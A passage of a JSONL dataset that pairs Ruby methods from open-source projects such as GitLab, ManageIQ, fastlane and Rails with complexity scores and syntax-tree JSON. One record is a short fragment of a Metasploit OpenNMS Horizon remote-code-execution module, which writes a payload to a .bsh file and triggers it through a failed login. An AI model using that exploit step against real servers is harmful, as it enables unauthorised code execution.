":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"id\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"a7ece76a-d35e-4a47-9602-f452155da20d"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/beta_tester_metric.rb","start_line":39,"raw_source":"def installed?\n return beta_tester_state == BetaTesterState::INSTALLED\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"installed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"beta_tester_state\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BetaTesterState\"]},\"INSTALLED\"]}]}]}]}","id":"93f8bcb3-4618-4f7b-b4ee-c418a3f80d63"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit_driver.rb","start_line":268,"raw_source":"def job_cleanup_proc(ctx)\n exploit, payload = ctx\n\n # Ensure that, no matter what, clean up of the handler occurs\n semaphore.synchronize { payload.stop_handler }\n\n exploit.framework.events.on_module_complete(exploit)\n\n # Allow the exploit to cleanup after itself, that messy bugger.\n semaphore.synchronize { exploit.cleanup }\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_cleanup_proc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploit\"]},{\"type\":\"lvasgn\",\"children\":[\"payload\"]}]},{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"semaphore\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"stop_handler\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"framework\"]},\"events\"]},\"on_module_complete\",{\"type\":\"lvar\",\"children\":[\"exploit\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"semaphore\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"cleanup\"]}]}]}]}","id":"1196ff1f-ddc3-492f-990f-013eae6785d3"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_product_feature/seeding.rb","start_line":9,"raw_source":"def seed_files\n return seed_root_filename, seed_core_files + seed_plugin_files\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_root_filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_core_files\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"seed_plugin_files\"]}]}]}]}","id":"986c93e2-9f61-4a3c-97cd-8a0631c813e6"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/configured_system.rb","start_line":71,"raw_source":"def configuration_domain\n tag_hash[ConfigurationDomain]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_hash\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"ConfigurationDomain\"]}]}]}","id":"d81d09b7-8518-4254-946a-0837d2f9cb67"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":901,"raw_source":"def start_refresh_worker\n return if refresh_worker_class.nil?\n\n refresh_worker_class.start_worker_for_ems(self)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"start_refresh_worker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_worker_class\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_worker_class\"]},\"start_worker_for_ems\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"8561ef3f-b777-4aa1-9c8b-65b077a07347"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/object_counter.rb","start_line":80,"raw_source":"def increment_project_counter(project, object_type, operation, value)\n counter_key = PROJECT_COUNTER_KEY % {\n project: project.id,\n operation: operation,\n object_type: object_type\n }\n\n add_counter_to_list(project, operation, counter_key)\n\n CACHING.increment_by(counter_key, value, timeout: IMPORT_CACHING_TIMEOUT)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_project_counter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"object_type\"]},{\"type\":\"arg\",\"children\":[\"operation\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROJECT_COUNTER_KEY\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation\"]},{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"lvar\",\"children\":[\"object_type\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_counter_to_list\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"operation\"]},{\"type\":\"lvar\",\"children\":[\"counter_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CACHING\"]},\"increment_by\",{\"type\":\"lvar\",\"children\":[\"counter_key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"const\",\"children\":[null,\"IMPORT_CACHING_TIMEOUT\"]}]}]}]}]}]}","id":"6cc18bac-1634-42a1-9312-08538cdb24aa"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/file_downloads/validations.rb","start_line":41,"raw_source":"def validate_size!(size)\n return unless file_size_limit > 0 && size.to_i > file_size_limit\n\n raise_error format(\n \"File size %{size} exceeds limit of %{limit}\",\n size: ActiveSupport::NumberHelper.number_to_human_size(size),\n limit: ActiveSupport::NumberHelper.number_to_human_size(file_size_limit)\n )\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_size!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"File size %{size} exceeds limit of %{limit}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]}]}]}]}]}]}]}]}","id":"0c69bd40-90e4-4af6-911d-9b823d7f3547"}
+{"repo_name":"puma","file_path":"./repos/puma/test/test_pumactl.rb","start_line":51,"raw_source":"def test_config_file\n control_cli = Puma::ControlCLI.new [\"--config-file\", \"test/config/state_file_testing_config.rb\", \"halt\"]\n assert_equal \"t3-pid\", control_cli.instance_variable_get(:@pidfile)\n ensure\n File.unlink \"t3-pid\" if File.file? \"t3-pid\"\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"control_cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"ControlCLI\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--config-file\"]},{\"type\":\"str\",\"children\":[\"test/config/state_file_testing_config.rb\"]},{\"type\":\"str\",\"children\":[\"halt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"t3-pid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_cli\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@pidfile\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"str\",\"children\":[\"t3-pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"str\",\"children\":[\"t3-pid\"]}]},null]}]}]}","id":"4b72930f-82fa-4072-8335-8ce9f6d4783b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2173,"raw_source":"def execute_hooks(data, hooks_scope = :push_hooks)\n run_after_commit_or_now do\n triggered_hooks(hooks_scope, data).execute\n SystemHooksService.new.execute_hooks(data, hooks_scope)\n end\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"optarg\",\"children\":[\"hooks_scope\",{\"type\":\"sym\",\"children\":[\"push_hooks\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"triggered_hooks\",{\"type\":\"lvar\",\"children\":[\"hooks_scope\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemHooksService\"]},\"new\"]},\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"hooks_scope\"]}]}]}]}]}","id":"c2297861-78c4-4bea-ae8c-f6a5476d62c0"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/database/duplicate_indexes.rb","start_line":44,"raw_source":"def btree_indexes\n return @btree_indexes if @btree_indexes\n\n # We only scan non-conditional btree indexes\n @btree_indexes = indexes.select do |index|\n index.using == :btree && index.where.nil? && index.opclasses.blank?\n end\n\n @btree_indexes = @btree_indexes.map { |index| self.class.btree_index_struct(index) }\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"btree_indexes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@btree_indexes\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@btree_indexes\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@btree_indexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indexes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"using\"]},\"==\",{\"type\":\"sym\",\"children\":[\"btree\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"where\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"opclasses\"]},\"blank?\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@btree_indexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@btree_indexes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"btree_index_struct\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]}]}","id":"8a6bdf81-45c0-43d0-a03d-383263f33eb0"}
+{"repo_name":"haml","file_path":"./repos/haml/test/haml/template_test.rb","start_line":57,"raw_source":"def setup\n @base = create_base\n\n # filters template uses :sass\n # Sass::Plugin.options.update(:line_comments => true, :style => :compact)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@base\",{\"type\":\"send\",\"children\":[null,\"create_base\"]}]}]}","id":"81104f6c-6d9c-49e8-9737-7bc20e4b238f"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/precheck/spec/rules/abstract_text_match_rule_spec.rb","start_line":39,"raw_source":"def lowercased_words_to_look_for\n [\"tacos\", \"puppies\", \"taquitos\"].map(&:downcase)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lowercased_words_to_look_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tacos\"]},{\"type\":\"str\",\"children\":[\"puppies\"]},{\"type\":\"str\",\"children\":[\"taquitos\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]}","id":"ad3f293b-9156-48ce-b07b-a1158eea565c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb","start_line":823,"raw_source":"def execute_command(cmd, _opts = {})\n # Write the payload to a .bsh file\n write_payload_to_bsh_file(cmd)\n\n print_status('Triggering the notification to execute the payload')\n # Trigger the notification by performing a login attempt using random credentials\n success, message = opennms_login('exploit', perform_invalid_login: true)\n if success\n print_status(message)\n else\n print_error(message)\n end\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_payload_to_bsh_file\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering the notification to execute the payload\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\"]},{\"type\":\"lvasgn\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"opennms_login\",{\"type\":\"str\",\"children\":[\"exploit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perform_invalid_login\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"0dcd8f05-f696-4d79-a826-6487d4a36b6b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":1200,"raw_source":"def run_at\n Time.at(@hsh[\"run_at\"])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hsh\"]},\"[]\",{\"type\":\"str\",\"children\":[\"run_at\"]}]}]}]}","id":"77673e57-675e-4890-b852-4f372aa32ed6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/api_fabricator.rb","start_line":17,"raw_source":"def api_support?\n (defines_get? && defines_post?) || defines_put?\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api_support?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defines_get?\"]},{\"type\":\"send\",\"children\":[null,\"defines_post?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"defines_put?\"]}]}]}","id":"8fe2febe-1622-4f3d-9ccd-f49704320450"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/column_order_definition.rb","start_line":200,"raw_source":"def calculate_reversed_order(order_expression)\n unless order_expression.is_a?(Arel::Nodes::Ordering)\n raise \"Couldn't determine reversed order for `#{order_expression}`, please provide the `reversed_order_expression` parameter.\"\n end\n\n order_expression.reverse\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_reversed_order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order_expression\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_expression\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Ordering\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't determine reversed order for `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_expression\"]}]},{\"type\":\"str\",\"children\":[\"`, please provide the `reversed_order_expression` parameter.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_expression\"]},\"reverse\"]}]}]}","id":"5d08fc8f-30da-42e0-a045-f3ffceb29947"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":243,"raw_source":"def generate_performance_results(options = {})\n if performance[:group_by_category] && performance[:interval_name]\n results, extras[:interval] = db_class.vms_by_category(performance)\n else\n results, extras[:group_by_tag_cols], extras[:group_by_tags] = db_class.group_by_tags(\n db_class.find_entries(ext_options).where(where_clause).where(options[:where_clause]),\n :category => performance[:group_by_category],\n :cat_model => options[:cat_model]\n )\n build_correlate_tag_cols\n end\n results\n end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_performance_results\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performance\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by_category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performance\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval_name\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"interval\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"vms_by_category\",{\"type\":\"send\",\"children\":[null,\"performance\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_by_tag_cols\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_by_tags\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"group_by_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"find_entries\",{\"type\":\"send\",\"children\":[null,\"ext_options\"]}]},\"where\",{\"type\":\"send\",\"children\":[null,\"where_clause\"]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"where_clause\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performance\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by_category\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cat_model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cat_model\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build_correlate_tag_cols\"]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"d7259246-79dc-450a-a8ae-599103d139a5"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/configuration/custom_test.rb","start_line":48,"raw_source":"def require_environment\n require \"#{app_path}/config/environment\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"require_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/environment\"]}]}]}]}","id":"9ca658fd-6b9a-42eb-82fb-ed9b587b9224"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/tree_helper.rb","start_line":223,"raw_source":"def code_dropdown_ide_data\n {\n gitpod_enabled: current_user&.gitpod_enabled || false,\n show_web_ide_button: show_web_ide_button?,\n show_gitpod_button: show_gitpod_button?,\n web_ide_url: web_ide_url,\n gitpod_url: gitpod_url\n }\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"code_dropdown_ide_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitpod_enabled\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"gitpod_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_web_ide_button\"]},{\"type\":\"send\",\"children\":[null,\"show_web_ide_button?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_gitpod_button\"]},{\"type\":\"send\",\"children\":[null,\"show_gitpod_button?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_ide_url\"]},{\"type\":\"send\",\"children\":[null,\"web_ide_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitpod_url\"]},{\"type\":\"send\",\"children\":[null,\"gitpod_url\"]}]}]}]}","id":"747aee62-84bc-45ca-9b6f-34acd624acaa"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/reports/report_data_seeder.rb","start_line":211,"raw_source":"def create_conversations\n conversation_creator = Seeders::Reports::ConversationCreator.new(\n account: @account,\n resources: {\n contacts: @contacts,\n inboxes: @inboxes,\n teams: @teams,\n labels: @labels,\n agents: @agents\n }\n )\n\n TOTAL_CONVERSATIONS.times do |i|\n created_at = Faker::Time.between(from: START_DATE, to: END_DATE)\n conversation_creator.create_conversation(created_at: created_at)\n\n completion_percentage = ((i + 1).to_f / TOTAL_CONVERSATIONS * 100).round\n print \"\\rCreating conversations: #{i + 1}/#{TOTAL_CONVERSATIONS} (#{completion_percentage}%)\"\n end\n\n print \"\\n\"\n end","complexity_score":21.75,"ast_json":"{\"type\":\"def\",\"children\":[\"create_conversations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation_creator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Seeders\"]},\"Reports\"]},\"ConversationCreator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contacts\"]},{\"type\":\"ivar\",\"children\":[\"@contacts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inboxes\"]},{\"type\":\"ivar\",\"children\":[\"@inboxes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teams\"]},{\"type\":\"ivar\",\"children\":[\"@teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"ivar\",\"children\":[\"@labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agents\"]},{\"type\":\"ivar\",\"children\":[\"@agents\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOTAL_CONVERSATIONS\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Time\"]},\"between\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"const\",\"children\":[null,\"START_DATE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[null,\"END_DATE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation_creator\"]},\"create_conversation\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"completion_percentage\",{\"type\":\"send\",\"children\":[